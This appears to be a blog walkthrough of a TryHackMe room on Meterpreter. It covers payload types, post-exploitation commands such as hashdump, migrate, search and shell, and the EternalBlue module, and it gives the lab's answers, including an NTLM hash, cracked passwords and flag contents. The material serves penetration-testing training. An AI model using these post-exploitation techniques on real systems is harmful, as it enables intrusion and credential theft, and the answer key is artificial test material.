July 28, 2026
Metasploit: Meterpreter TryHackMe Room Walkthrough (Part 3)
room link:https://tryhackme.com/room/meterpreter

By Amr Sebie
3 min read
Introduction
After gaining initial access to a target, penetration testers need to enumerate the compromised system, identify privileges, search for sensitive information, and assess opportunities for further compromise.
Meterpreter is a Metasploit payload designed to support this post-exploitation phase through a specialized interactive session.
In this room, we will learn how Meterpreter works, understand its different payload types, and use common commands for system enumeration, process management, credential discovery, and file searching.
Task 1 — Introduction to Meterpreter
Summary
Meterpreter is a post-exploitation payload that provides an interactive session on a compromised system.
One of its notable characteristics is its ability to operate primarily in memory rather than relying on an obvious executable file on disk. It can also communicate with the Metasploit handler through encrypted channels.
This can make basic detection more difficult, but Meterpreter is not undetectable. Modern security solutions can detect suspicious behavior through endpoint telemetry, memory analysis, and network monitoring.
Process Identification
The getpid command shows the PID of the process hosting the current Meterpreter session:
meterpreter > getpid
Current pid: 1304meterpreter > getpid
Current pid: 1304We can then inspect running processes:
meterpreter > psmeterpreter > psIn the lab, PID 1304 belonged to:
spoolsv.exespoolsv.exerather than a process named meterpreter.exe.
The key lesson is that simply searching for an obvious Meterpreter process name may not be enough to identify malicious activity.
Answer: No answer needed
Task 2 — Meterpreter Flavors
Summary
Meterpreter comes in different versions depending on the target platform and communication method.
The two main payload categories are:
Staged payloads
The initial stager connects back and retrieves the rest of the payload.
Stager → Full PayloadStager → Full PayloadStageless payloads
The complete payload is delivered in one package.
Full PayloadFull PayloadYou can list available Meterpreter payloads with:
msfvenom --list payloads | grep meterpretermsfvenom --list payloads | grep meterpreterMeterpreter supports platforms including:
- Windows
- Linux
- Android
- macOS
- iOS
- Java
- PHP
- Python
Payload selection mainly depends on:
- Target OS and architecture
- Available technologies
- Network connectivity
- Exploit compatibility
For example, an exploit may automatically select a default payload:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcpmsf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcpYou can check compatible payloads with:
show payloadsshow payloadsThe important point is that not every Meterpreter payload is compatible with every exploit.
Answer: No answer needed
Task 3 — Meterpreter Commands
Summary
Meterpreter provides commands for common post-exploitation activities.
Because available commands differ between Meterpreter versions and loaded extensions, the first command you should usually run is:
helphelpCommon command categories include:
- Core
- File system
- Networking
- System
- Privilege-related functionality
Common Commands
Core Commands
help
background
sessions
exit
load
migratehelp
background
sessions
exit
load
migrateFile System
pwd
ls
cd
cat
search
upload
downloadpwd
ls
cd
cat
search
upload
downloadSystem Enumeration
getuid
getpid
ps
sysinfo
shellgetuid
getpid
ps
sysinfo
shellNetworking
ifconfig
arp
netstat
routeifconfig
arp
netstat
routeImportant Commands
getuid
Shows the account running the Meterpreter session:
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEMmeterpreter > getuid
Server username: NT AUTHORITY\SYSTEMThis is important because it tells you your current privilege level.
ps
Lists running processes:
meterpreter > psmeterpreter > psThe output provides PIDs and process information, which can be useful when analyzing the system or considering process migration.
migrate
Moves the Meterpreter session to another process:
meterpreter > migrate 716meterpreter > migrate 716Migration can sometimes improve session stability or place the session inside a more suitable process.
However, migrating into a process owned by a lower-privileged user can cause you to lose your current privileges.
Always check the target process and its user context before migrating.
hashdump
Attempts to retrieve Windows password hashes from the SAM database:
meterpreter > hashdumpmeterpreter > hashdumpThese hashes may be useful for offline password cracking or, in supported environments, pass-the-hash attacks.
search
Searches the filesystem for files:
meterpreter > search -f flag2.txtmeterpreter > search -f flag2.txtThis is useful for locating:
- Configuration files
- Credentials
- Backups
- Flags
- Sensitive documents
shell
Opens the native operating system shell:
meterpreter > shellmeterpreter > shellOn Windows, this gives you a normal command prompt:
C:\Windows\system32>C:\Windows\system32>You can return to the Meterpreter session by suspending the shell with:
CTRL + ZCTRL + ZAnswer: No answer needed
Practical Task — Meterpreter Post-Exploitation
Step 1 — Establish Initial Access
The lab provides credentials to simulate an initial compromise over SMB:
Username: ballen
Password: Password1Username: ballen
Password: Password1After obtaining a Meterpreter session, the goal is to move beyond initial access and start enumerating the compromised machine.
The general workflow is:
Initial Access
↓
System Enumeration
↓
Privilege Enumeration
↓
Credential Discovery
↓
Sensitive File Discovery
↓
Further AccessInitial Access
↓
System Enumeration
↓
Privilege Enumeration
↓
Credential Discovery
↓
Sensitive File Discovery
↓
Further AccessStep 2 — Identify the Host
The compromised computer name is:
ACME-TESTACME-TESTKnowing the hostname helps identify the system during further enumeration and can be correlated with other hosts in the environment.
Step 3 — Identify the Domain
The target domain is:
FLASHFLASHThis indicates that the machine belongs to a Windows domain environment, which may provide opportunities for further enumeration and lateral movement.
Step 4 — Enumerate User-Created Shares
The user-created share discovered during enumeration is:
speedsterspeedsterShares are worth investigating because they may contain documents, scripts, backups, or credentials.
Step 5 — Extract Credential Material
The NTLM hash belonging to jchambers was:
69596c7aa1e8daee17f8e78870e25a5c69596c7aa1e8daee17f8e78870e25a5cThe corresponding cleartext password was:
Trustno1Trustno1From a penetration testing perspective, the important question is whether this credential is reused elsewhere.
Credential reuse can turn access to one machine into access to additional systems.
Step 6 — Search for Sensitive Files
The secrets.txt file was discovered at:
c:\Program Files (x86)\Windows Multimedia Platform\secrets.txtc:\Program Files (x86)\Windows Multimedia Platform\secrets.txtThe file contained a Twitter password:
KDSvbsw3849!KDSvbsw3849!This demonstrates the risks of storing credentials in plaintext files.
Step 7 — Locate the Final Secret
The file:
realsecret.txtrealsecret.txtwas located at:
c:\inetpub\wwwroot\realsecret.txtc:\inetpub\wwwroot\realsecret.txtIts contents were:
The Flash is the fastest man aliveThe Flash is the fastest man aliveThe location is interesting because C:\inetpub\wwwroot is commonly associated with IIS web content.
If sensitive files are placed inside a web root and the server is incorrectly configured, they may potentially become accessible through the web application.
If this summary helped you save some time (or a few brain cells ), don't forget to follow and leave a 👏 Clap. It really helps and motivates me to keep making more cybersecurity notes like this ❤️